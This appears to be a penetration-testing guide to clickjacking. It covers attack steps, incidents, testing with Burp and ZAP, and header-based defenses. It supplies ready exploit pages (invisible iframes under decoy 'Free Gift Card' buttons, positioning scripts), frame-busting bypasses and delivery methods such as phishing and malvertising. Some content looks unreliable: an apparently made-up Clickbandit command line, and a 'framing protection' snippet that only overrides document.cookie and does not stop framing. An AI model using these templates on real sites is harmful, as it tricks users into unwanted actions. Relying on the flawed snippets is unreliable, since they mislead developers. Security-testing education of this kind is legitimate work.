- Understanding Clickjacking Fundamentals
- Complete Exploitation Methodology
- Real-World Attack Examples (Past Years)
- Tools and Techniques (Burp Suite & Others)
- Testing Methodology
- Advanced Attack Vectors
- Mitigation and Prevention
Clickjacking, also known as a UI redress attack, is a technique where attackers trick users into clicking something different from what they perceive . The term combines "click" and "hijacking" because the attack essentially hijacks user interactions for malicious purposes.
Step 1: Setup - The attacker creates an invisible iframe that embeds a targeted web page (e.g., a bank transaction page or social media account settings) .
Step 2: Deception - A visible UI element, like a fake play button or form, is overlaid on top of the hidden iframe to misdirect the user .
Step 3: Click Hijack - The user clicks the visible element, intending to perform a specific task (e.g., closing a pop-up).
Step 4: Actual Outcome - The click instead triggers the hidden action, such as confirming a purchase or granting permissions to the attacker .
The attack works by positioning a transparent <iframe> from a victim website (like Facebook or Twitter) directly over a decoy button on the attacker's page. When users attempt to click what looks like a harmless button, they actually click on the invisible iframe, triggering unintended actions .
Here is a basic example showing how the attack works (with half-transparent iframe for illustration - real attacks use full transparency):
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0.5; /* In real attacks, this is opacity: 0 */
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<iframe src="https://victim-website.com/action"></iframe>
<button>Click here!</button>In real attacks, the iframe is completely transparent (opacity: 0), so the user never sees what they are actually clicking .
Objective: Identify vulnerable endpoints that perform sensitive actions with a single click.
Steps:
-
Identify sensitive actions on the target website such as:
- Account deletion buttons
- Payment confirmation buttons
- Settings change toggles
- "Like," "Follow," or "Share" buttons
- OAuth authorization prompts
- Browser extension installation confirmations
-
Check framing protections by examining HTTP response headers:
- Look for
X-Frame-Optionsheader (values: DENY, SAMEORIGIN, ALLOW-FROM) - Look for
Content-Security-Policywithframe-ancestorsdirective
- Look for
-
Test if the page can be framed by creating a simple HTML page with an iframe targeting the endpoint.
Basic Clickjacking Payload Structure:
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Exploit</title>
<style>
/* Make iframe completely invisible */
iframe {
position: absolute;
width: 800px;
height: 600px;
top: -100px;
left: -200px;
opacity: 0;
filter: alpha(opacity=0);
z-index: 2;
border: none;
}
/* Decoy button styling */
.decoy-button {
position: absolute;
top: 200px;
left: 300px;
width: 200px;
height: 50px;
background: #4CAF50;
color: white;
text-align: center;
line-height: 50px;
cursor: pointer;
z-index: 1;
border-radius: 5px;
font-size: 18px;
}
</style>
</head>
<body>
<div class="decoy-button">
Click for Free Gift Card!
</div>
<iframe src="https://vulnerable-target.com/sensitive-action"></iframe>
</body>
</html>To ensure the click lands exactly on the target element, you need to calculate the exact position of the button within the iframe. This can be done by:
- Loading the target page in a browser
- Using Developer Tools to inspect the target button's position
- Adjusting the iframe's
topandleftCSS properties to align the button with your decoy element
Advanced Positioning with JavaScript:
<script>
function positionIframe() {
var iframe = document.getElementById('targetFrame');
var decoy = document.getElementById('decoyButton');
var rect = decoy.getBoundingClientRect();
// Adjust these values based on the target button's position
iframe.style.top = (rect.top - 150) + 'px';
iframe.style.left = (rect.left - 400) + 'px';
}
window.addEventListener('resize', positionIframe);
window.addEventListener('scroll', positionIframe);
positionIframe();
</script>Once the exploit page is built, attackers deliver it to victims through various methods:
- Malvertising - Disguised ads on legitimate networks
- Phishing emails - Links to attacker-controlled pages
- Compromised legitimate sites - Using XSS or SQL injection to inject clickjacking code
- Shortened URLs - Obfuscating the destination
- Social media posts - Enticing headlines leading to the exploit page
Many major websites have been hacked using clickjacking techniques, including Twitter, Facebook, and PayPal. All have since been fixed, but these attacks demonstrated the severity of the vulnerability .
How the Facebook Attack Worked:
- A visitor was lured to an evil page through any means (ads, links, etc.)
- The page displayed a harmless-looking link like "Get Rich Now" or "Click Here, Very Funny"
- Over that link, the evil page positioned a transparent iframe from facebook.com
- The Facebook "Like" button was positioned exactly above the decoy link using CSS z-index
- When users attempted to click the harmless link, they actually clicked the Facebook Like button
A critical clickjacking vulnerability was discovered in the F-Secure Safe Browser's address bar handler (CVE-2022-28872). The attack could be launched remotely, allowing attackers to manipulate the browser's UI and potentially trick users into unintended actions .
A vulnerability was found in Mozilla Firefox up to version 103 (CVE-2022-38472). Attackers could abuse XSLT error handling to associate attacker-controlled content with another origin displayed in the address bar. This could be used to fool users into submitting data intended for a spoofed origin .
A new variation called "DoubleClickjacking" emerged, affecting almost every major website. This technique bypasses traditional clickjacking protections including X-Frame-Options headers and SameSite cookies .
How DoubleClickjacking Works:
- Attackers exploit timing differences between mousedown and onclick events
- A swift window swap occurs during a double-click sequence
- The attack redirects clicks to sensitive targets like OAuth prompts
- The user unintentionally authorizes malicious app access, often leading to immediate account takeover
The researcher Paulos Yibelo published proof-of-concept code demonstrating this attack, showing it can lead to account takeovers on many major platforms .
This emerging threat involves attackers overlaying invisible UI elements over legitimate extension buttons, tricking users into granting permissions or executing malicious scripts .
Example Attack Code:
document.getElementById("legit-button").style.zIndex = "-1";
document.getElementById("malicious-overlay").style.zIndex = "9999";Burp Suite is one of the most effective tools for testing clickjacking vulnerabilities. Research has confirmed that Burp Clickbandit successfully identifies potential clickjacking attack vectors .
How to Use Burp Clickbandit:
-
Install Burp Suite (Community Edition works fine)
-
Navigate to the Clickbandit tool:
- In Burp Suite, go to the "Engagement tools" menu
- Select "Clickbandit" from the dropdown
-
Using Clickbandit Step by Step:
Step 1: Open your browser and navigate to the page you want to test
Step 2: In Burp Suite, start Clickbandit
Step 3: Clickbandit will generate a proof-of-concept HTML page that shows if the target page can be framed
Step 4: Interact with the generated page to see if you can trigger actions on the hidden iframe
Step 5: Clickbandit records your interactions and shows which clicks would have reached the target
-
Command Line Alternative:
java -jar clickbandit.jar --target-url https://example.com
OWASP ZAP is another excellent tool for detecting clickjacking vulnerabilities .
How to Test Clickjacking with OWASP ZAP:
- Spider the target website to discover all pages
- Run the active scan - ZAP automatically checks for missing or misconfigured framing protections
- Review the alerts - Look for "Missing X-Frame-Options Header" or "Clickjacking" alerts
- Generate proof-of-concept - ZAP can create HTML files demonstrating the vulnerability
Step-by-Step Manual Testing:
-
Open Chrome DevTools (F12)
-
Inspect the target button or element to check for:
z-indexmanipulation possibilities- Hidden iframes overlaying critical elements
-
Create a test HTML file:
<html> <body> <iframe src="https://target-website.com/sensitive-page" style="opacity:0; position:absolute; top:0; left:0;"> </iframe> <button style="position:absolute; top:100px; left:100px;"> Click Me </button> </body> </html>
-
Load the test file in your browser while logged into the target website
-
Click the decoy button and observe if unintended actions occur
Vulnerability Scanners like Nessus, Qualys, and OpenVAS can detect missing security headers. However, they may not always identify all clickjacking vectors because the vulnerability often depends on the specific UI layout .
CSP Reporting - Utilize Content-Security-Policy reports to flag potentially malicious iframe implementations .
import requests
def check_clickjacking_protection(url):
try:
response = requests.get(url)
headers = response.headers
x_frame = headers.get('X-Frame-Options')
csp = headers.get('Content-Security-Policy')
print(f"Testing: {url}")
print(f"X-Frame-Options: {x_frame}")
print(f"CSP frame-ancestors: {'present' if 'frame-ancestors' in str(csp) else 'missing'}")
if not x_frame and 'frame-ancestors' not in str(csp):
print("VULNERABLE: No framing protections detected!")
else:
print("Protected: Framing restrictions in place")
except Exception as e:
print(f"Error: {e}")
# Test a URL
check_clickjacking_protection("https://example.com/sensitive-page")According to cybersecurity best practices, testing for clickjacking requires a multi-faceted approach :
1. Web Scanning Tools Use automated tools like OWASP ZAP and Burp Suite to analyze iframe behaviors and detect issues.
2. Manual Testing Embed your web pages in iframes manually to reveal potential vulnerabilities. This involves creating simple HTML pages that attempt to frame your application's sensitive endpoints.
3. Suspicious DOM Behavior Monitoring Monitor changes to the Document Object Model (DOM) to help identify tampered elements.
4. Automated CSP Reporting Utilize Content-Security-Policy reports to flag potentially malicious iframe implementations.
5. Bug Bounty Programs Leverage security researchers by running responsible disclosure programs that identify UI redress flaws.
Step 1: Identify Sensitive Endpoints
- List all pages that perform state-changing actions
- Include account settings, payment pages, admin panels
- Include OAuth authorization endpoints
- Include any page with one-click actions
Step 2: Check Response Headers
curl -I https://target.com/sensitive-pageLook for:
X-Frame-Options: DENYorSAMEORIGIN(good)Content-Security-Policy: frame-ancestors 'none'or'self'(good)- Missing headers (potentially vulnerable)
Step 3: Create Test Iframe
<html>
<head><title>Clickjacking Test</title></head>
<body>
<iframe src="https://target.com/sensitive-page" width="100%" height="100%"></iframe>
</body>
</html>Step 4: Test Different Contexts
- Test while logged in to the target
- Test while logged out
- Test from different origins (local file, different domain)
- Test with different iframe attributes (sandbox, srcdoc)
Step 5: Verify Protection Bypasses
- Test if
X-Frame-Options: ALLOW-FROMcan be bypassed - Test if client-side frame busting can be circumvented using the
sandboxattribute - Test for DoubleClickjacking vulnerabilities by checking double-click actions
Setting up Burp for Clickjacking Testing:
- Configure your browser to use Burp as a proxy (localhost:8080)
- Browse the target application to map all endpoints
- Use the Target > Site map to review all discovered pages
- For each sensitive page, check the response headers in the Inspector tab
- Use Repeater to modify requests and test different scenarios
- Run Clickbandit for visual proof-of-concept generation
Interpreting Results:
| Protection Header | Security Level | Notes |
|---|---|---|
| X-Frame-Options: DENY | Secure | Page cannot be framed at all |
| X-Frame-Options: SAMEORIGIN | Secure | Only same-origin framing allowed |
| X-Frame-Options: ALLOW-FROM domain | Partial | May be bypassed; CSP preferred |
| CSP: frame-ancestors 'none' | Secure | Modern, robust protection |
| CSP: frame-ancestors 'self' | Secure | Modern, robust protection |
| Missing headers | Vulnerable | Page can likely be framed |
| Client-side only | Vulnerable | Can be bypassed with sandbox |
Some websites implement client-side JavaScript to prevent framing (called "frame-busting"):
// Common frame-busting code
if (top != self) { top.location = self.location; }Bypass Technique - Sandbox Attribute:
<iframe sandbox="allow-forms allow-scripts" src="https://victim.com"></iframe>The sandbox attribute without allow-top-navigation prevents the framed page from modifying top.location, effectively bypassing the frame-busting protection .
Bypass Technique - beforeunload Event:
<script>
window.onbeforeunload = function() { return "Are you sure?"; };
</script>
<iframe src="https://victim.com"></iframe>This blocks the navigation attempt and keeps the iframe in place.
DoubleClickjacking is a sophisticated variation that bypasses traditional protections by exploiting double-click sequences .
How DoubleClickjacking Works:
Step 1: The attacker creates a button that opens a new window on the first click
Step 2: The parent window redirects to a sensitive target (like an OAuth authorization page)
Step 3: The user double-clicks - the second click closes the top window
Step 4: The unintentional click triggers authorization on the parent window, granting the attacker access
DoubleClickjacking Attack Flow:
- User clicks a seemingly harmless button on the attacker's site
- A new window opens, prompting for a double-click
- The parent window is redirected to an OAuth authorization page
- The user's double-click unintentionally authorizes the malicious app
- The attacker gains immediate account access
While clickjacking primarily affects mouse actions, keyboard input can theoretically be redirected by overlapping text fields. However, this is more difficult because users will notice when their typed characters don't appear on screen .
This specialized attack targets browser extensions by overlaying invisible elements on top of extension buttons. Users may unintentionally grant permissions or execute malicious scripts thinking they are interacting with the legitimate extension interface .
X-Frame-Options Header:
The most reliable defense is server-side headers that control framing .
Apache Configuration:
Header always append X-Frame-Options DENYNginx Configuration:
add_header X-Frame-Options "DENY" always;IIS Configuration:
<add name="X-Frame-Options" value="DENY" />Available Values:
DENY- Never allow framing under any circumstancesSAMEORIGIN- Allow framing only from the same originALLOW-FROM domain- Allow framing only from specific domain (less supported)
Modern applications should use CSP with the frame-ancestors directive, which supersedes X-Frame-Options .
Content-Security-Policy: frame-ancestors 'none';
# Or to allow same origin only:
Content-Security-Policy: frame-ancestors 'self';
# Or to allow specific domains:
Content-Security-Policy: frame-ancestors https://trusted.example.com;-
Combine X-Frame-Options and CSP - Use both as they are processed by different browser components
-
SameSite Cookies - Set
SameSite=StrictorLaxto prevent authenticated requests from cross-site contexts -
CSRF Tokens - Require unpredictable tokens for state-changing requests
-
User Interaction Confirmation - Require additional confirmation (checkbox, CAPTCHA, or re-authentication) for sensitive actions
-
Disable Critical Buttons by Default - For DoubleClickjacking protection, disable critical buttons until a mouse gesture or key press is detected
For legacy applications that cannot implement proper headers:
// Modern frame-busting that resists sandbox bypass
if (window.self !== window.top) {
// Prevent DOM access from parent
Object.defineProperty(document, 'cookie', {
get: function() { return ''; },
set: function() { return false; }
});
throw new Error('Framing detected');
}After implementing protections, verify them by:
- Attempting to frame your pages using a simple HTML iframe
- Using Burp Clickbandit to generate proof-of-concept exploits
- Running OWASP ZAP active scans against your application
- Checking response headers with curl or browser DevTools
- Testing for DoubleClickjacking by examining double-click actions on sensitive buttons
-
Using meta tags for X-Frame-Options - The browser ignores
X-Frame-Optionsin HTML meta tags; it must be an HTTP header -
Incomplete CSP directives - Ensure
frame-ancestorsis properly formatted and not missing quotes -
ALLOW-FROM with unsupported browsers - Many browsers don't properly support ALLOW-FROM; use CSP instead
-
Relying only on client-side frame busting - This can be bypassed using the sandbox attribute
Clickjacking remains a significant web vulnerability despite being known for over a decade. The attack exploits user trust and UI design to hijack clicks for malicious purposes. Major platforms including Twitter, Facebook, and PayPal have been affected in the past .
Modern variants like DoubleClickjacking demonstrate that the threat continues to evolve, bypassing traditional protections and affecting almost every major website . Browser extension clickjacking adds another dimension to the threat landscape .
Key Takeaways:
- Always implement server-side framing protections (X-Frame-Options or CSP)
- Test your applications regularly using tools like Burp Clickbandit and OWASP ZAP
- Don't rely on client-side frame-busting alone - it can be bypassed
- Stay informed about new attack variants like DoubleClickjacking
- Use defense in depth with SameSite cookies, CSRF tokens, and user confirmation
Testing Tools Summary:
- Burp Suite Clickbandit - Best for visual proof-of-concept generation
- OWASP ZAP - Excellent for automated scanning
- Browser DevTools - Good for manual testing and debugging
- Custom scripts - Useful for batch testing multiple endpoints
The most effective protection combines proper HTTP headers, secure cookie configurations, and thoughtful UI design that requires explicit user confirmation for sensitive actions.